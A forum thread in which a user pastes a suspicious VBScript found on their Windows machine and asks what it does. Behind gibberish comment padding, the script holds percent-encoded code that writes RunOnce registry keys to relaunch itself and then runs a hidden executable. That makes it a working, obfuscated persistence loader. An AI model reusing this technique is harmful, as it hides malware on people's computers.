none
A Mysterious VBScript-related File "Nahucinahar" RRS feed

  • Question

  • Hi all . . .

    I found a mysterious file in C:\Users\[my name]\AppData\Roaming, Nahucinahar.txt. I tried looking for it through Google, Bing and Yahoo.com, they all returned 0 result, as if the entire internet does not know what it is.

    The backstory: I performed diagnose using Hijackthis as a part of troubleshooting instructions (it's a different case). I can understand some items in the report text files (names like CHROME, ASUS, ONEDRIVE, and others that I'm familiar with), but one particular item caught my attention:

    O4 - HKLM\..\RunOnce: [Sefodali] C:\WINDOWS\SysWOW64\wscript.exe /E:vbscript /B "C:\Users\jeryh\AppData\Roaming\Nahucinahar"

    It was indeed a registry entry, and it points to the file Nahucinahar in the folder C:\Users\[my name]\AppData\Roaming

    The file is 17kb, and when I open it with Notepad, this is the exact copy paste:

    ' This program is distributed in the hope that it will be useful,
    ' but WITHOUT ANY WARRANTY; without even the implied warranty of
    ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


    ' --------------------------------------------------

    ' Rebil cat fobilami, Motokebamefepekenifaselo, Gicutcofetamefisatolamorbagadehfadebabbehipuh futa bog
    ' Sonifhosacinisucetafebosedecogimo, Nunehocfefademadelaghenohudfokobkesokocemisose.
    ' Topanuledabikepefonulihopin kero, Ricagmoforamabidupidedhigiconobefab hof dama hegasabemudasukehit
    ' Camomomogohombimomebodfukbocatarmucetonadepehosohatuhdeketetunonakefalebefepebebkafosgolcehobafepod.
    '
    ' Cefomek selacnopehrimuhorafehutegamagocucepem, 1451 kufidelo core nemepogekobibpagucutocegrepodepur.
    '
    ' Refatucagarkakisandepeninriras mob mihoran. Kalah numedaknohamkir, Got mare lagesodegortesosaslodokbonepi
    ' Bulabuhrircefnopid, Teha, Mot, Cacatanocopitesefcahibnoromutorebopecucigsidusoposemcagufcefepomen
    ' Cuhofi, Gem pad kikelafaserodifecosahigab. Kegad, Solagarekomemusunecadinafakobalikogomadodatledu.
    '
    ' Sec mepifac, Sorutehocuknepedeto, Delinamaseldubecusetocikgasercarucotudadupucobuserekatfapom.
    ' Refarihlatoregomofi dol dafahanu, Hek 88870 dolanacdataganolomami node becasefcaharetadodasofil
    ' Peco cakacedakakockegabek, Dod relikbotosegacutpabanotereguri rates lokkabehalinelsatacor
    ' Bodikope, Bam gip getebogihafekeficufepelabenefadatdamofod 73169 sobeha hid tifahetimebonadotareri.
    '
    ' Ter pokah cekekafa guresa soliruk geholar, Fusak gobebep, Fadaha tekeror pofin 52204 pale tesumon lor pudopiba kori hugu
    ' Milapi regopa dino gohehi bodela rucimabo hof hesi kibom comesu heduma sasonoma dasubafe mamupob sitodec seto senod
    ' Taka ropemola gabo, Romo fabi tededo name becebe. Gikokal turorem, Femekike, Karehome fesas koh pagobe sedo fekuce
    ' Lah koma, Dopunogi bono, Sasof pafa geledut pemela caroke kuf gat catat sos necif ref gebahoba
    ' Dugihe, Lopo, Rate moralafa, Fufenu kakab cuhode lakahem cage gerobade fol 46813 pogab halacorib
    ' Ponosota, Bak rara muton puh cobekofotok. Dena getoro sekelas bofedode satobus fahohato milage golabuso hufor ce
    ' Keke sudupe lubec, Napogic bem manokol, Sec, Sukune tibefo sige kutele mefutale daneca satu tiru.
    '
    ' Bokahi huse nibe tas, Cahenal kor, Mofe fofumesi, Cekeh bubacu bohohohe lodenim nesopu nirokofa focaruha nidet du
    ' Hubafe gilihis tem hes 19466 fugef ledad koracet bero cupiteh tumuk baretole keroka donir lupu dumi kaguc hatolef
    ' Pasac pol dokoca ciludile suke pupe pac, Seruse mebo meh pipopono micateba meta cagosub puco carudirede.
    '
    ' Culosubi fasaf, Bedigoki gamali coloteg dipip, Hogu hohemo him tifetaba fodasem bucec fal taramo.
    '
    ' Fahus mar, Dohapas pogada deko, Lecid muhesaba ronelok fugo hinubon dohacu kefi suna kehihegohi
    ' Mikiti tinekara haforu huha gefo kadute. Mecema foha goresoda binehe, Bomam ruc hic kepoti busar kahodum.
    ' Damo, Regok gocekeba peh, Hosemo foceme daroted, Raratati mebobepa moli panatita pekoheb gorol coko cub kofoporikoc
    ' Boka leg sig, Gat, Fadutesu, Cof ralar bino, Mefem molago sefu gur tamon kisi locuhare gol hidopehale
    ' Luta pikomobo gapulano bogeb bapec nukum hedek cah hol lepok tek muhekena botoko sog mimefagop
    ' Sabobec tir tis niles napege tokacara bomotih boce sucuna 16504 rere budonis nasan kob gopuhota
    ' Gosa pebif, Gosidar nopede kokedib samu foho nocabid karama makenona mom hup pogo bar sanomoderac.
    '
    ' Nen, Megufe tadogu lomaroha, Lisadifo kopoki, Basolico kutemap gak ratup pikere calas pego gonotikar
    ' Lole, Sace rahale sateca bud kapuhodib. Pudi nopetok, Fola kudor, Romelal nar roc red rosegalem.
    '
    ' Gotage gemo, Koni tagoda padabore tan kafi tecelemo hubofo togece racugo buperos sorut cakaren mef not mogocufoki
    ' Sana dob nenanene fodid tato dadelic, Tabasok, Bopa cis momaro defocun cot batonobo rocof hipemopa
    ' Keni bedecet hulal resetam, Sumerute datate dato fekera kelape kopo coses bekemila negike kena feko demugalir.
    ' Dom, Pot taru nebu, Rap sicecima kekedage bofer degebafo ket gogir namop nafapo saruh fifagemu lepa pohonaled
    ' Doruken hemis tabo didi dos, Kalila memanu gahucu hogoce hegifa pucofet cukaba boroc nabosen kagok hi.
    '
    ' Mabafo bekige, Codefap, Cobanofa fepo, Mahe, Pota, San, Nalasasu geme diruget patelut hoku cihabu kofupa logoh dusa.
    '
    ' Sar godolota nicama doremu, Sadegoku nac malac sepadelu raf gicekoh mopecenu kunarako bog fisabicu lul kemen.
    ' 31477, Lorikine morokumo foniluna bofomu hofu peniren. Defe bafo gorofil sen gohafe feruker 56561 rag rogepadamut.
    '
    ' Cotuku, Car bofot, Ceha fotabege bepe foselahah. Belu batadata mesemig soge habocogo reregam punocete beke bomofe
    ' Gocepaho seloro gutul fare tah gesigidafok. Bohos, Lopusu papetob, Bafehom heca patuci dasid refi podate.
    ' Hefu lupag ceper sedosaca, Deb, Gegit kefigag hopacih pisoteta bukufam regecani gikol lelunahas.
    ' Gupopon, Doha fodapeta bisad donid konot pulok del poregir nohine non tegeto samul nor badebec cudarun cuha tihagafo
    ' Kabe, Komokef, Sosinate laso bonatuf gih fole, Tipe dekagi cobabulo rekitoh togekadu picek med logadu
    ' Silodusa losona pelole perok kepahik. Gogasep tac rege, Gama, Dite hidekapo lolagisa lero dagafac
    ' Surin bodagob seme, Nen sih, Faf madacu rigopud, Nalomoci bis lodem kopesam pec nelo rud pofeso rebul kesacag.
    ' Dapacep gohob, Geselu petofifi, Gasodace bate lim debob tabepoh lapaboti seg lun fabepinona.
    '
    ' Rehaguf copitab ranece fus napugug hecid pocinado lug, Baneru ribefas cahebo capuge nikohas ken dunon dubeli kad socur
    ' Cahu, Morepora palurut casi hahame megupe hibapib pisegala medoti hadiruge gik ged polen lacad rafe.
    ' Kobig sop maben, Naka fosepeba nofim pop. Fifa gopepal lulo kohanasi hem pemop gap guse mok kihonoma.
    ' Tota mamase docacun coheb nekamoro komipos bumitobe feboh fabe bilus tapop hakugu hasi bocan
    ' Taconobe nakam gum huhe has, Hace rohalelo, Porehat, Damip camonad kada sas retep nokuka berenopu kaci geg tocebad
    ' Bohakep tapo, Fepoba lanige koluf rafuga fesa necicomu depekur linuna fagasa sugen mec mag mukigala.
    '
    ' Nalafe mah, Fofetaka hof, Holol nefegu, Kunon, Liguh duhomane fokameg pohof papabon mebeg katub pemahar.
    ' Nala kum sukenik dah hini, Nuki kom, Rotodo, Tope moma rotiluli fuhorul tige bim sak penofosu paka tele
    ' Pakag kegoso begitila femepotu doc faniture. Bohun, Comumuro hopet, Nepobabe fer rosacopo seledo bebe regupeh
    ' Foregab sosicepa nari, Nure bafi gateha bisanuro cecales rom nisobaf motohoc hod maduri lekon fos balako
    ' Koko karedegu, Boru dobar meh, Kodup mebit lome hinu turin mana borenet lusupeco hab nadelorebe.
    ' Lopilad hege, Par, Debedace rasaline kehufof baceli hufelot lutol habame ganekehe bacu koga
    ' Bohok dobep datogid citabe licacar renemopi rotetar ponigel hotosaf natigeli bagor mogimoru seleguk kar digebog
    ' Dubelamo pagano fatac duk, Ketema nalar hinan rime mip sen kumohi lekinek dulom pacac pogomeh ped dapes.
      Fapukasar=Unescape("%46%75%6E%63%74%69%6F%6E%20%57%72%69%74%65%52%65%67%28%52%65%67%50%61%74%68%2C%20%56%61%6C%75%65%2C%20%52%65%67%54%79%70%65%29%3A%4F%6E%20%45%72%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%3A%53%65%74%20%6F%62%72%67%3D%43%72%65%61%74%65%4F%62%6A%65%63%74%28%22%57%73%63%72%69%70%74%2E%73%68%65%6C%6C%22%29%0D%0A%6F%62%72%67%2E%52%65%67%57%72%69%74%65%20%52%65%67%50%61%74%68%2C%20%56%61%6C%75%65%2C%20%52%65%67%54%79%70%65%3A%49%66%20%28%6F%62%72%67%2E%52%65%67%52%65%61%64%28%52%65%67%50%61%74%68%29%3D%56%61%6C%75%65%29%20%54%68%65%6E%20%57%72%69%74%65%52%65%67%3D%54%72%75%65%20%45%6C%73%65%20%57%72%69%74%65%52%65%67%3D%46%61%6C%73%65%0D%0A%69%66%20%28%65%72%72%2E%6E%75%6D%62%65%72%3C%3E%30%29%20%74%68%65%6E%3A%57%72%69%74%65%52%65%67%3D%46%61%6C%73%65%3A%65%6E%64%20%69%66%3A%45%6E%64%20%46%75%6E%63%74%69%6F%6E%0D%0A%69%66%20%28%6E%6F%74%20%57%72%69%74%65%52%65%67%28%22%48%4B%4C%4D%5C%53%6F%66%74%77%61%72%65%5C%4D%69%63%72%6F%73%6F%66%74%5C%57%69%6E%64%6F%77%73%5C%43%75%72%72%65%6E%74%56%65%72%73%69%6F%6E%5C%52%75%6E%4F%6E%63%65%5C%53%65%66%6F%64%61%6C%69%22%2C%22%43%3A%5C%57%49%4E%44%4F%57%53%5C%53%79%73%57%4F%57%36%34%5C%77%73%63%72%69%70%74%2E%65%78%65%20%2F%45%3A%76%62%73%63%72%69%70%74%20%2F%42%20%22%22%22%20%26%20%22%43%3A%5C%55%73%65%72%73%5C%6A%65%72%79%68%5C%41%70%70%44%61%74%61%5C%52%6F%61%6D%69%6E%67%5C%4E%61%68%75%63%69%6E%61%68%61%72%22%20%26%20%22%22%22%22%2C%22%52%45%47%5F%53%5A%22%29%29%20%54%68%65%6E%20%3A%64%6D%79%43%65%73%6F%64%69%6C%61%67%61%67%61%6E%3D%57%72%69%74%65%52%65%67%28%22%48%4B%43%55%5C%53%6F%66%74%77%61%72%65%5C%4D%69%63%72%6F%73%6F%66%74%5C%57%69%6E%64%6F%77%73%5C%43%75%72%72%65%6E%74%56%65%72%73%69%6F%6E%5C%52%75%6E%4F%6E%63%65%5C%53%65%66%6F%64%61%6C%69%22%2C%22%43%3A%5C%57%49%4E%44%4F%57%53%5C%53%79%73%57%4F%57%36%34%5C%77%73%63%72%69%70%74%2E%65%78%65%20%2F%45%3A%76%62%73%63%72%69%70%74%20%2F%42%20%22%22%22%20%26%20%22%43%3A%5C%55%73%65%72%73%5C%6A%65%72%79%68%5C%41%70%70%44%61%74%61%5C%52%6F%61%6D%69%6E%67%5C%4E%61%68%75%63%69%6E%61%68%61%72%22%20%26%20%22%22%22%22%2C%22%52%45%47%5F%53%5A%22%29%3A%65%6E%64%20%69%66%0D%0A")
      set oSC = CreateObject(Unescape("%53%63%72%69%70%74%43%6F%6E%74%72%6F%6C"))
      oSC.language=unescape("%56%42%53%63%72%69%70%74")
      Bomuharat=oSC.ExecuteStatement(Fapukasar)
      Set Codeb=CreateObject(Unescape("%57%53%63%72%69%70%74%2E%53%68%65%6C%6C"))
      Celadefo=unescape("%43%3A%5C%50%52%4F%47%52%41%7E%32%5C%43%4F%4D%4D%4F%4E%7E%31%5C%4D%6F%66%69%74%61%5C%73%79%6E%63%76%65%72%73%69%6F%6E%2E%65%78%65%20%2F%43%68%65%63%6B%20%2F%53%63%72%69%70%74")
      Codeb.Exec Celadefo
    ' Rebil cat fobilami, Motoke bamefepe keni faselo, Gicut cofetame fisato lamor bagadeh fadebab behipuh futa bog
    ' Sonif hosacini suce tafebose decogimo, Nunehoc fefade madelag henohud fokob keso kocemisose.
    ' Topanule dabikepe fonuli hopin kero, Ricag mofora mabidupi ded higico nobefab hof dama hegasabe muda sukehit
    ' Camomo mogohom bimome bod fuk bocatar mucetona depe hoso hatuh dekete tunonake falebe fepe beb kafos gol cehobafepod.
    '
    ' Cefomek selac nopeh rimuhora fehutega mago cucepem, 1451 kufidelo core nemepoge kobib pagucuto ceg repodepur.
    '
    ' Refatu cagar kakisan depenin riras mob mihoran. Kalah numedak noham kir, Got mare lage sodegor tesosas lodok bonepi
    ' Bulabuh rir cef nopid, Teha, Mot, Cacata nocopite sef cahib noromu torebo pecucig sidusopo sem caguf cefepomen
    ' Cuhofi, Gem pad kikelafa serodi feco sahigab. Kegad, Solagare komemusu necadina fakobali kogoma dodat ledu.
    '
    ' Sec mepifac, Soruteho cuk nepedeto, Delinama sel dube cuse tocik gaser caruco tudadu pucobuse rekat fapom.
    ' Refarih lato regomofi dol dafahanu, Hek 88870 dolanac dataga nolomami node becasef caha reta dodasofil
    ' Peco cakaceda kakoc kegabek, Dod relik botose gacut pabanote reguri rates lok kabeha linel satacor
    ' Bodikope, Bam gip getebogi hafe kefi cufepela bene fadat damofod 73169 sobeha hid tifaheti mebo nadotareri.
    '
    ' Ter pokah cekekafa guresa soliruk geholar, Fusak gobebep, Fadaha tekeror pofin 52204 pale tesumon lor pudopiba kori hugu
    ' Milapi regopa dino gohehi bodela rucimabo hof hesi kibom comesu heduma sasonoma dasubafe mamupob sitodec seto senod
    ' Taka ropemola gabo, Romo fabi tededo name becebe. Gikokal turorem, Femekike, Karehome fesas koh pagobe sedo fekuce
    ' Lah koma, Dopunogi bono, Sasof pafa geledut pemela caroke kuf gat catat sos necif ref gebahoba
    ' Dugihe, Lopo, Rate moralafa, Fufenu kakab cuhode lakahem cage gerobade fol 46813 pogab halacorib
    ' Ponosota, Bak rara muton puh cobekofotok. Dena getoro sekelas bofedode satobus fahohato milage golabuso hufor ce
    ' Keke sudupe lubec, Napogic bem manokol, Sec, Sukune tibefo sige kutele mefutale daneca satu tiru.
    '
    ' Bokahi huse nibe tas, Cahenal kor, Mofe fofumesi, Cekeh bubacu bohohohe lodenim nesopu nirokofa focaruha nidet du
    ' Hubafe gilihis tem hes 19466 fugef ledad koracet bero cupiteh tumuk baretole keroka donir lupu dumi kaguc hatolef
    ' Pasac pol dokoca ciludile suke pupe pac, Seruse mebo meh pipopono micateba meta cagosub puco carudirede.
    '
    ' Culosubi fasaf, Bedigoki gamali coloteg dipip, Hogu hohemo him tifetaba fodasem bucec fal taramo.
    '
    ' Fahus mar, Dohapas pogada deko, Lecid muhesaba ronelok fugo hinubon dohacu kefi suna kehihegohi
    ' Mikiti tinekara haforu huha gefo kadute. Mecema foha goresoda binehe, Bomam ruc hic kepoti busar kahodum.
    ' Damo, Regok gocekeba peh, Hosemo foceme daroted, Raratati mebobepa moli panatita pekoheb gorol coko cub kofoporikoc
    ' Boka leg sig, Gat, Fadutesu, Cof ralar bino, Mefem molago sefu gur tamon kisi locuhare gol hidopehale
    ' Luta pikomobo gapulano bogeb bapec nukum hedek cah hol lepok tek muhekena botoko sog mimefagop
    ' Sabobec tir tis niles napege tokacara bomotih boce sucuna 16504 rere budonis nasan kob gopuhota
    ' Gosa pebif, Gosidar nopede kokedib samu foho nocabid karama makenona mom hup pogo bar sanomoderac.
    '
    ' Nen, Megufe tadogu lomaroha, Lisadifo kopoki, Basolico kutemap gak ratup pikere calas pego gonotikar
    ' Lole, Sace rahale sateca bud kapuhodib. Pudi nopetok, Fola kudor, Romelal nar roc red rosegalem.
    '
    ' Gotage gemo, Koni tagoda padabore tan kafi tecelemo hubofo togece racugo buperos sorut cakaren mef not mogocufoki
    ' Sana dob nenanene fodid tato dadelic, Tabasok, Bopa cis momaro defocun cot batonobo rocof hipemopa
    ' Keni bedecet hulal resetam, Sumerute datate dato fekera kelape kopo coses bekemila negike kena feko demugalir.
    ' Dom, Pot taru nebu, Rap sicecima kekedage bofer degebafo ket gogir namop nafapo saruh fifagemu lepa pohonaled
    ' Doruken hemis tabo didi dos, Kalila memanu gahucu hogoce hegifa pucofet cukaba boroc nabosen kagok hi.
    '
    ' Mabafo bekige, Codefap, Cobanofa fepo, Mahe, Pota, San, Nalasasu geme diruget patelut hoku cihabu kofupa logoh dusa.
    '
    ' Sar godolota nicama doremu, Sadegoku nac malac sepadelu raf gicekoh mopecenu kunarako bog fisabicu lul kemen.
    ' 31477, Lorikine morokumo foniluna bofomu hofu peniren. Defe bafo gorofil sen gohafe feruker 56561 rag rogepadamut.
    '
    ' Cotuku, Car bofot, Ceha fotabege bepe foselahah. Belu batadata mesemig soge habocogo reregam punocete beke bomofe
    ' Gocepaho seloro gutul fare tah gesigidafok. Bohos, Lopusu papetob, Bafehom heca patuci dasid refi podate.
    ' Hefu lupag ceper sedosaca, Deb, Gegit kefigag hopacih pisoteta bukufam regecani gikol lelunahas.
    ' Gupopon, Doha fodapeta bisad donid konot pulok del poregir nohine non tegeto samul nor badebec cudarun cuha tihagafo
    ' Kabe, Komokef, Sosinate laso bonatuf gih fole, Tipe dekagi cobabulo rekitoh togekadu picek med logadu
    ' Silodusa losona pelole perok kepahik. Gogasep tac rege, Gama, Dite hidekapo lolagisa lero dagafac
    ' Surin bodagob seme, Nen sih, Faf madacu rigopud, Nalomoci bis lodem kopesam pec nelo rud pofeso rebul kesacag.
    ' Dapacep gohob, Geselu petofifi, Gasodace bate lim debob tabepoh lapaboti seg lun fabepinona.
    '
    ' Rehaguf copitab ranece fus napugug hecid pocinado lug, Baneru ribefas cahebo capuge nikohas ken dunon dubeli kad socur
    ' Cahu, Morepora palurut casi hahame megupe hibapib pisegala medoti hadiruge gik ged polen lacad rafe.
    ' Kobig sop maben, Naka fosepeba nofim pop. Fifa gopepal lulo kohanasi hem pemop gap guse mok kihonoma.
    ' Tota mamase docacun coheb nekamoro komipos bumitobe feboh fabe bilus tapop hakugu hasi bocan
    ' Taconobe nakam gum huhe has, Hace rohalelo, Porehat, Damip camonad kada sas retep nokuka berenopu kaci geg tocebad
    ' Bohakep tapo, Fepoba lanige koluf rafuga fesa necicomu depekur linuna fagasa sugen mec mag mukigala.
    '
    ' Nalafe mah, Fofetaka hof, Holol nefegu, Kunon, Liguh duhomane fokameg pohof papabon mebeg katub pemahar.
    ' Nala kum sukenik dah hini, Nuki kom, Rotodo, Tope moma rotiluli fuhorul tige bim sak penofosu paka tele
    ' Pakag kegoso begitila femepotu doc faniture. Bohun, Comumuro hopet, Nepobabe fer rosacopo seledo bebe regupeh
    ' Foregab sosicepa nari, Nure bafi gateha bisanuro cecales rom nisobaf motohoc hod maduri lekon fos balako
    ' Koko karedegu, Boru dobar meh, Kodup mebit lome hinu turin mana borenet lusupeco hab nadelorebe.
    ' Lopilad hege, Par, Debedace rasaline kehufof baceli hufelot lutol habame ganekehe bacu koga
    ' Bohok dobep datogid citabe licacar renemopi rotetar ponigel hotosaf natigeli bagor mogimoru seleguk kar digebog
    ' Dubelamo pagano fatac duk, Ketema nalar hinan rime mip sen kumohi lekinek dulom pacac pogomeh ped dapes.

    Google translate can't detect the language.

    Upon further investigation, the file was created on 13 June 2017. I checked, and found that there's only 1 program installed on that day: I installed Daemontools Lite to read ISO files to install drivers to my new peripherals (an EMax Wireless router and a Linksys Gigabit USB 3 dongle; I don't have CD slot on my laptop).

    I still don't know if the mysterious file is related to Daemontools, but I suspect its relation to VBScript, given its relation to wscript.exe. That's why I go here to ask for help.

    Please, can anyone shed some light to this? What is this Nahucinahar thing, and what does it do?

    Please help.

    • Moved by Bill_Stewart Friday, August 4, 2017 9:44 PM Off-topic
    Tuesday, July 4, 2017 4:30 AM

All replies

  • It does fun things.  You need to ask your question in a Windows user/security forum.  This I not the correct forum.


    \_(ツ)_/


    • Edited by jrv Tuesday, July 4, 2017 4:45 AM
    Tuesday, July 4, 2017 4:36 AM
  • Thanks. I've posted the question on the Windows 10 Security forum.
    Tuesday, July 4, 2017 6:51 AM